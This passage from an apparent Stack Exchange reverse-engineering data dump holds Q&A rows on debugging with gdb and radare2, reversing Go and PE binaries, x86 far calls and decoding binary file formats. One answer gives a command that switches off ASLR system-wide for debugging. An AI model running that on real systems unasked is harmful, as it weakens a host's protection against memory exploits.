0x2b&#xA;ds             0x0  0x0&#xA;es             0x0  0x0&#xA;fs             0x0  0x0&#xA;gs             0x0  0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dump the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    (gdb) x/20x $sp&#xA;    0x7fffffffe420: 0x00400540  0x00000000  0xf7a2e830  0x00007fff&#xA;    0x7fffffffe430: 0x00000000  0x00000000  0xffffe508  0x00007fff&#xA;    0x7fffffffe440: 0xf7ffcca0  0x00000001  0x00400526  0x00000000&#xA;    0x7fffffffe450: 0x00000000  0x00000000  0xbbbdddd1  0xdfdea768&#xA;    0x7fffffffe460: 0x00400430  0x00000000  0xffffe500  0x00007fff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Show the instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb)  list&#xA;1   #include &amp;lt;stdio.h&amp;gt;&#xA;2   &#xA;3   int main(){&#xA;4     printf(&quot;hello world\n&quot;);&#xA;5     return 0;&#xA;6   }&#xA;7   &#xA;8   &#xA;&#xA;(gdb) x/4i $pc&#xA;    =&amp;gt; 0x40052a &amp;lt;main+4&amp;gt;:   mov    edi,0x4005c4&#xA;       0x40052f &amp;lt;main+9&amp;gt;:   call   0x400400 &amp;lt;puts@plt&amp;gt;&#xA;       0x400534 &amp;lt;main+14&amp;gt;:  mov    eax,0x0&#xA;       0x400539 &amp;lt;main+19&amp;gt;:  pop    rbp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so on ...&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2017-07-31T12:13:51.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15968" PostTypeId="2" ParentId="15960" CreationDate="2017-07-31T12:51:27.907" Score="12" Body="&lt;p&gt;You can easily view it using Visual Panels in &lt;a href=&quot;https://github.com/radareorg/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;. Here's a teaser:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CCVtg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CCVtg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&lt;p&gt;First of all, install radare2 from git repository:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Debugging&lt;/h2&gt;&#xA;&lt;p&gt;To debug a program with radare2 call it with the debug flag &lt;code&gt;-d&lt;/code&gt;:&lt;br /&gt;&#xA;&lt;code&gt;$ r2 -d /bin/ls&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the program is opened in debug mode.&lt;br /&gt;&#xA;Use &lt;code&gt;v!&lt;/code&gt; to show the Visual Panel modes. Now you can see the assembly at the left and the stack panel at the right. You can step into and step over using &lt;code&gt;s&lt;/code&gt; or &lt;code&gt;S&lt;/code&gt; accordingly. Use &lt;code&gt;?&lt;/code&gt; to list more commands in the Visual Panels mode.&lt;/p&gt;&#xA;&lt;h2&gt;Some more ways to display the stack&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pxa @ rsp&lt;/code&gt; - to show annotated hexdump&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pxw @ rsp&lt;/code&gt; - to show hexadecimal words dump (32bit)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pxq @ rsp&lt;/code&gt; - to show hexadecimal quad-words dump (64bit)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ad@r:SP&lt;/code&gt; - to analyze the stack data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To read more about debugging with radare2 it is recommended to read &lt;a href=&quot;https://book.rada.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2 book&lt;/a&gt; and especially the &lt;a href=&quot;https://book.rada.re/first_steps/basic_debugger_session.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basic Debugger Session&lt;/a&gt; chapter.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="28886" LastEditDate="2021-11-21T03:27:25.447" LastActivityDate="2021-11-21T03:27:25.447" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15969" PostTypeId="1" AcceptedAnswerId="15982" CreationDate="2017-07-31T15:45:46.927" Score="2" ViewCount="3295" Body="&lt;p&gt;I have these data files that are generated by a tool which was distributed by a company that is long defunct. I have been taking it apart with a binary file viewer (freeware from Proxoft, it is a great tool) and I am close to completion. Here is an image of the PDF generated by the tool from the data file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0oNf.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file contains a 320x320x8bit image, actually there are 4 bytes representing 4 images. The file length is 412900 bytes. There is a header of 3128 bytes, followed by the 320*320*4 byte image data, followed by a 172 byte footer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the header there are human readable strings, followed by mostly zeroes with some non-zero bytes, that clearly have some pattern, which repeats then by another human readable header. This is the (encoded?) data I seek I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am asking here is for some expertise on decoding what appears to be the data I am trying to extract between items in the header and the footer. I have tried big endian, little endian, 1,2,4,8 byte views of the bytes, and I cannot figure it out. If someone can help me figure this out, it would be much appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some bytes showing human readable parts (from 3128 byte header), and the spaces in between:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;001072 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ T E R M ◦ ◦ ◦ ◦&#xA;001088 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001104 ◦ ◦ ◦ ◦ ◦ ◦ P I X E L C O U N T&#xA;001120 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001136 ◦ ◦ ◦ ◦ V A L L E Y ◦ ◦ ◦ ◦ ◦ ◦&#xA;001152 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001168 ◦ ◦ P E A K ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001184 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001200 R M S ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001216 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ R A&#xA;001232 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦&#xA;001248 ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ ◦ R S ◦ ◦&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I have no good way to post the actual data, I have uploaded it remotely:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rettc.com/binarydecode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.rettc.com/binarydecode/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.mmd is binary file, .pdf is pdf from the software, .bmp is my extracted image data, .png is an image of the pdf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if anyone can figure out how to decode the data in between the human readable items in the header and footer of this binary file, you will be officially recognized as &quot;da man!&quot; or &quot;da woman!&quot; by me eternally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for taking a look!&lt;/p&gt;&#xA;" OwnerUserId="21061" LastActivityDate="2017-08-05T08:52:02.577" Title="Decoding binary data structure" Tags="|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15970" PostTypeId="2" ParentId="15807" CreationDate="2017-08-01T00:32:09.447" Score="0" Body="&lt;p&gt;Here's the answer:&#xA;&lt;a href=&quot;http://reinventingthewheel.azurewebsites.net/MainWindowHandleIsALie.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://reinventingthewheel.azurewebsites.net/MainWindowHandleIsALie.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to use &lt;code&gt;EnumWindows&lt;/code&gt; to get the correct handle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$TypeDef2 = @&quot;&#xA;&#xA;    using System;&#xA;    using System.Text;&#xA;    using System.Collections.Generic;&#xA;    using System.Runtime.InteropServices;&#xA;&#xA;    namespace Api&#xA;    {&#xA;&#xA;    public class WinStruct&#xA;    {&#xA;       public string WinTitle {get; set; }&#xA;       public int MainWindowHandle { get; set; }&#xA;    }&#xA;&#xA;    public class ApiDef&#xA;    {&#xA;       private delegate bool CallBackPtr(int hwnd, int lParam);&#xA;       private static CallBackPtr callBackPtr = Callback;&#xA;       private static List&amp;lt;WinStruct&amp;gt; _WinStructList = new List&amp;lt;WinStruct&amp;gt;();&#xA;&#xA;       [DllImport(&quot;User32.dll&quot;)]&#xA;       [return: MarshalAs(UnmanagedType.Bool)]&#xA;       private static extern bool EnumWindows(CallBackPtr lpEnumFunc, IntPtr lParam);&#xA;&#xA;       [DllImport(&quot;user32.dll&quot;, CharSet = CharSet.Auto, SetLastError = true)]&#xA;       static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);&#xA;&#xA;       private static bool Callback(int hWnd, int lparam)&#xA;       {&#xA;           StringBuilder sb = new StringBuilder(256);&#xA;           int res = GetWindowText((IntPtr)hWnd, sb, 256);&#xA;          _WinStructList.Add(new WinStruct { MainWindowHandle = hWnd, WinTitle = sb.ToString() });&#xA;           return true;&#xA;       }  &#xA;&#xA;       public static List&amp;lt;WinStruct&amp;gt; GetWindows()&#xA;       {&#xA;          _WinStructList = new List&amp;lt;WinStruct&amp;gt;();&#xA;          EnumWindows(callBackPtr, IntPtr.Zero);&#xA;          return _WinStructList;&#xA;       }&#xA;&#xA;    }&#xA;    }&#xA;    &quot;@&#xA;&#xA;    Add-Type -TypeDefinition $TypeDef2 -Language CSharpVersion3&#xA;&#xA;    $excelInstance = [Api.Apidef]::GetWindows() | Where-Object { $_.WinTitle.ToUpper() -eq &quot;Microsoft Excel - Compatibility Checker&quot;.ToUpper() }&#xA;&#xA;$TypeDef1 = @&quot;&#xA;      using System;&#xA;      using System.Runtime.InteropServices;&#xA;      public class Tricks {&#xA;         [DllImport(&quot;user32.dll&quot;)]&#xA;         [return: MarshalAs(UnmanagedType.Bool)]&#xA;         public static extern bool SetForegroundWindow(IntPtr hWnd);&#xA;      }&#xA;    &quot;@&#xA;&#xA;    Add-Type -TypeDefinition $TypeDef1 -Language CSharpVersion3&#xA;&#xA;    [void][Tricks]::SetForegroundWindow($excelInstance.MainWindowHandle)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20860" LastActivityDate="2017-08-01T00:32:09.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15971" PostTypeId="1" AcceptedAnswerId="15973" CreationDate="2017-08-01T02:22:22.093" Score="3" ViewCount="140" Body="&lt;p&gt;I am working on a project where I need to use &lt;code&gt;LD_PRELOAD&lt;/code&gt; to load some libraries into the memory space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; LD_PRELOAD=&quot;./libapp.so&quot; ./my_app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Due to certain reasons (I am actually working on some binary hacking), I must know &lt;strong&gt;the memory address&lt;/strong&gt; (not a symbol) of certain functions (let's say, &lt;code&gt;foo&lt;/code&gt;) in &lt;code&gt;libapp.so&lt;/code&gt; and instrument the binary code of &lt;code&gt;my_app&lt;/code&gt; before execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, due to &lt;code&gt;ASLR&lt;/code&gt; (Address Space Layout Randomization), each time &lt;code&gt;libapp.so&lt;/code&gt; would be loaded into different memory address, and I am unable to know the memory address of &lt;code&gt;foo&lt;/code&gt; before execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking to somehow intercept the loading time, readout the memory address of &lt;code&gt;libapp.so&lt;/code&gt;, perform some instrumentation on &lt;code&gt;my_app&lt;/code&gt; with the memory address of &lt;code&gt;foo&lt;/code&gt;, and then load &lt;code&gt;my_app&lt;/code&gt; into the memory space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question: how to intercept the loading process and acquire the memory address of &lt;code&gt;libapp.so&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2018-05-28T14:25:49.433" Title="Dumpout Process Memory Layout During Loading Time" Tags="|instrumentation|binary-editing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15972" PostTypeId="2" ParentId="14480" CreationDate="2017-08-01T05:23:08.470" Score="0" Body="&lt;p&gt;It's MQTT over SSL. The Lua code of the plugin attached to the top post in this thread shows how to interact with the server (and also includes an SSH key you can use to talk to the Smart Bridge locally via MQTT). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.micasaverde.com/index.php/topic,35577.0.html?PHPSESSID=a6grs6ohq5ufv1v9shuo64l7o0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.micasaverde.com/index.php/topic,35577.0.html?PHPSESSID=a6grs6ohq5ufv1v9shuo64l7o0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21070" LastActivityDate="2017-08-01T05:23:08.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15973" PostTypeId="2" ParentId="15971" CreationDate="2017-08-01T07:40:30.867" Score="1" Body="&lt;p&gt;I think that one option could be to use &lt;code&gt;ptrace&lt;/code&gt;, for example you can use &lt;code&gt;_dl_open()&lt;/code&gt; instead of &lt;code&gt;LD_PRELOAD&lt;/code&gt;. Look at this example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ars-informatica.com/Root/Code/2010_04_18/LinuxPTrace.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ars-informatica.com/Root/Code/2010_04_18/LinuxPTrace.aspx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another option could be to use &lt;code&gt;gdb&lt;/code&gt; for do that, for example you have the possibility to set a pending breakpoint to foo and then run the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option could be turn off the ASLR, you can do it using the &lt;code&gt;/proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable it you can run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4275" LastEditorUserId="245" LastEditDate="2018-05-28T14:25:49.433" LastActivityDate="2018-05-28T14:25:49.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15974" PostTypeId="2" ParentId="15890" CreationDate="2017-08-01T08:50:10.887" Score="1" Body="&lt;p&gt;Have a look at NativeFunction API of &lt;a href=&quot;https://www.frida.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt;. It helps you call any native function. With a little bit of reversing, you'll have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; var func = new NativeFunction(Module.findExportByName('libxx.so', 'fun'), 'uint32', []);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-08-01T08:50:10.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15975" PostTypeId="2" ParentId="15962" CreationDate="2017-08-01T13:42:00.977" Score="7" Body="&lt;p&gt;I'm afraid your intentions to find memory usage may need both static and dynamic analysis. Run-time events can cause more or less memory usage. I will write my general findings about reversing Go binaries, you can choose for your application-specific solution from below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no decompiling tool available for Go language. Although according to &lt;a href=&quot;https://groups.google.com/forum/#!topic/golang-nuts/Gk4qbpWOcqg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; discussion you can identify high-level structures from Go binaries which mostly based on DWARF debugging information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use conventional tools like &lt;strong&gt;objdump&lt;/strong&gt; and &lt;strong&gt;GDB&lt;/strong&gt; with Go run-time support. After installing Go toolkit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo add-auto-load-safe-path /usr/share/go-1.6/src/runtime/runtime-gdb.py &amp;gt;&amp;gt; ~/.gdbinit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For sake of simplicity, I started to examine with &lt;a href=&quot;https://gobyexample.com/functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;functions&lt;/a&gt; example. I compiled functions example with standard build. Default build with Go compiler includes lots of DWARF information. You can see &lt;strong&gt;objdump&lt;/strong&gt; source code-assembly intermix is really successful at using Go syntax imports, packages, and function representation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000401000 &amp;lt;main.main&amp;gt;:&#xA;&#xA;func plusPlus(a, b, c int) int {&#xA;    return a + b + c&#xA;}&#xA;&#xA;func main() {&#xA;  401000:       64 48 8b 0c 25 f8 ff    mov %fs:0xfffffffffffffff8,%rcx&#xA;  401007:       ff ff&#xA;  401009:       48 8d 44 24 d0          lea    -0x30(%rsp),%rax&#xA;  40100e:       48 3b 41 10             cmp    0x10(%rcx),%rax&#xA;  401012:       0f 86 f1 02 00 00       jbe    401309 &amp;lt;main.main+0x309&amp;gt;&#xA;  401018:       48 81 ec b0 00 00 00    sub    $0xb0,%rsp&#xA;    res := plus(1, 2)&#xA;  40101f:       48 c7 c3 01 00 00 00    mov    $0x1,%rbx&#xA;  401026:       48 c7 c0 02 00 00 00    mov    $0x2,%rax&#xA;  40102d:       48 01 c3                add    %rax,%rbx&#xA;  401030:       48 89 d8                mov    %rbx,%rax&#xA;    fmt.Println(&quot;1+2 =&quot;, res)&#xA;  401033:       48 8d 1d 6e b3 0f 00    lea    0xfb36e(%rip),%rbx        # 4fc3a8 &amp;lt;go.string.*+0x3b0&amp;gt;&#xA;...&#xA;401159:       e8 82 97 05 00          callq  45a8e0 &amp;lt;fmt.Println&amp;gt;&#xA;&#xA;    res = plusPlus(1,2,3)&#xA;  40115e:       48 c7 c3 01 00 00 00    mov    $0x1,%rbx&#xA;  401165:       48 c7 c1 02 00 00 00    mov    $0x2,%rcx&#xA;  40116c:       48 c7 c0 03 00 00 00    mov    $0x3,%rax&#xA;  401173:       48 01 cb                add    %rcx,%rbx&#xA;  401176:       48 01 c3                add    %rax,%rbx&#xA;  401179:       48 89 d8                mov    %rbx,%rax&#xA;    fmt. Println(&quot;1+2+3 =&quot;, res)&#xA;  40117c:       48 8d 1d 2d b2 0f 00    lea    0xfb22d(%rip),%rbx        # 4fc3b0 &amp;lt;go.string.*+0x3b8&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you have opportunity to build the application from a source I strongly recommend to use -ldflags &quot;-w&quot; arguments as suggested at&lt;/strong&gt; &lt;a href=&quot;https://golang.org/doc/gdb&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;GDB&lt;/strong&gt; to debugging and reversing Go programs easily. User-defined functions couldn't found by &lt;strong&gt;GDB&lt;/strong&gt; unless you build it with debug information but, you can use the main function to track program flow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ list main.main&#xA;9&#xA;10 func plusPlus(a, b, c int) int {&#xA;11     return a + b + c&#xA;12 }&#xA;13&#xA;14 func main() {&#xA;15     res := plus(1, 2)&#xA;16     fmt.Println(&quot;1+2 =&quot;, res)&#xA;17&#xA;18     res = plusPlus(1,2,3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume you build it with debug information: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(void);&#xA;void main.init(void);&#xA;void main.main(void);&#xA;void runtime.main(void);&#xA;void runtime.main.func1(void);&#xA;void runtime.main.func2(bool *);&#xA;0x0000000000401000  main.main&#xA;0x0000000000401320  main.init&#xA;0x0000000000429a20  runtime.main&#xA;0x000000000044aba0  runtime.main.func1&#xA;0x000000000044abe0  runtime.main.func2&#xA;0x0000000000456520  main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can inspect functions and track their stack usage with help &lt;a href=&quot;https://blog.altoros.com/golang-internals-part-5-runtime-bootstrap-process.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; blog post section about Go stack implementation. Set a breakpoint at the beginning of the function which you want to examine and &lt;em&gt;runtime.morestack_noctxt&lt;/em&gt; for stack &amp;amp; &lt;em&gt;runtime.mallocinit&lt;/em&gt; for heap allocations.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method which is much easy is using &lt;strong&gt;pprof&lt;/strong&gt; package you find relevant documentation &lt;a href=&quot;https://golang.org/pkg/net/http/pprof/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2018-03-28T20:02:28.083" LastActivityDate="2018-03-28T20:02:28.083" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15976" PostTypeId="2" ParentId="15947" CreationDate="2017-08-01T14:52:28.303" Score="0" Body="&lt;p&gt;If you would like to get examples of thorough reverse engineering documentation examples, one of the moderators here has a website with fully reverse engineered malware analysis IDA Pro databases. Looking at how he approaches each function might prove to be a good framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.msreverseengineering.com/blog/2014/6/23/baglew-thorough-idb&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.msreverseengineering.com/blog/2014/6/23/baglew-thorough-idb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.msreverseengineering.com/blog/2014/6/23/commwarriorb-thorough-idb-armc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.msreverseengineering.com/blog/2014/6/23/commwarriorb-thorough-idb-armc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2017-08-01T14:52:28.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15977" PostTypeId="2" ParentId="15080" CreationDate="2017-08-01T20:08:37.307" Score="7" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Each block must start on a 32-bit boundary&amp;quot; - I don't understand that, can you explain it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It means even if you have space after your block finished, you must use next 32-bit aligned address for your RVA. In my opinion, it is mostly because of page optimization. You can read &lt;a href=&quot;https://www.ibm.com/developerworks/library/pa-dalign/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; document for further understanding.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Do PE files use IMAGE_BASE_RELOCATION to work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;IMAGE_BASE_RELOCATION is a data structure which can be expressed as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _IMAGE_BASE_RELOCATION {&#xA;    DWORD   VirtualAddress;&#xA;    DWORD   SizeOfBlock;&#xA;} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PE files don't use IMAGE_BASE_RELOCATION structure to work, PE loader (dynamic linker) use it for constructing relocation table. You can read &lt;a href=&quot;https://stackoverflow.com/questions/17436668/how-are-pe-base-relocations-build-up&quot;&gt;this&lt;/a&gt; topic if you want to learn more about relocation table.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6002359/so-most-of-the-binary-is-composed-of-reloc-table&quot;&gt;JosephH says:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update&amp;quot;&#xA;How does the loader use relocation table and update it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Since you use .reloc in your title question, I will explain you relocation information in the .reloc section. This section holds information for base relocations which mean if required files cannot be loaded their preferred addresses (because already something mapped to it) instructions or variables relocated with that information.&lt;/p&gt;&#xA;&lt;p&gt;Loader uses virtual addresses, offset and loaded address to &lt;em&gt;resolve&lt;/em&gt; and &lt;em&gt;relocate&lt;/em&gt; which is another way to say adjusting addresses.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-03-03T11:51:56.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15978" PostTypeId="1" AcceptedAnswerId="15981" CreationDate="2017-08-01T21:02:24.720" Score="0" ViewCount="709" Body="&lt;p&gt;I am currently analysing a regular Windows x86 executable (-&gt; protected mode) and I came across several far call instructions in the disassembly. I know that far calls, for example, are used in WOW64 to switch from 32bit to 64bit mode (by a far call to code segment 0x33, see &lt;a href=&quot;http://waleedassar.blogspot.de/2012/07/wow64-user-mode-system-calls-hooking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). However, I can not make any sense of the far calls in that executable. They look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;somewhere near 0x00123400&amp;gt;:  9a 34 12 cd ab 34 12    call   0x1234:0xabcd1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code segemt is in most cases the same as the lower 16 bits of the call address. At the same time, the code segment is rougly the same as the middle (!) 16 bits of the instruction's own address (as illustrated above). The call addresses always point to unmapped/invalid memory areas in the code segment of the process itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify the call target of these far calls? Is it even possible/pratical to have hard coded code segments? Or could it be an alignment issue of the disassembler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; For example, the first far call in the image occurs in a chunk of code starting at a 16-byte boundary (identified by leading int3 instructions). The far call comes 2 bytes after the (only) return instruction in that chunk (some 2000 bytes after its start). The offset of the far call instruction is used as an indirect jump offfset like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp    DWORD PTR [eax*4+&amp;lt;far call offset&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21077" LastEditorUserId="21077" LastEditDate="2017-08-02T08:52:14.080" LastActivityDate="2017-08-02T09:25:21.160" Title="Idenifying far call target in protected mode (x86 assembly)" Tags="|disassembly|x86|call|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15979" PostTypeId="1" CreationDate="2017-08-01T21:24:21.613" Score="1" ViewCount="477" Body="&lt;p&gt;Problem description: Axivity (axivity.com/userguides/ax3/using/) watch device logs data internally in a binary packed format. This format is named Continuous Wave Accelerometer (CWA) format. This format is very efficient for storing large amounts of data but is not natively supported by many applications. I use GGIR library from R to read the CWA file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a requirement to generate 25 CWA files to be loaded in to a database.&#xA;I can either ask 25 users to wear it on the device on their wrist for 2 weeks to generate the 2-week long log data in CWA format. Or I can use one CWA file that I have and change its header and save it as CWA file thereby creating 25 clones. But R can read it but not save it as CWA. I could not glean much out of &lt;a href=&quot;http://axivity.com/help/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://axivity.com/help/21&lt;/a&gt; to do this reinterpolation.&#xA;Is there a way to edit CWA files and save them back to the same format by any other method like PERL? &#xA; A test data set is available here axivity.com/downloads/ax3&#xA;(AX3 example Data). Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21078" LastActivityDate="2017-08-01T21:24:21.613" Title="cwa file conversion" Tags="|unpacking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
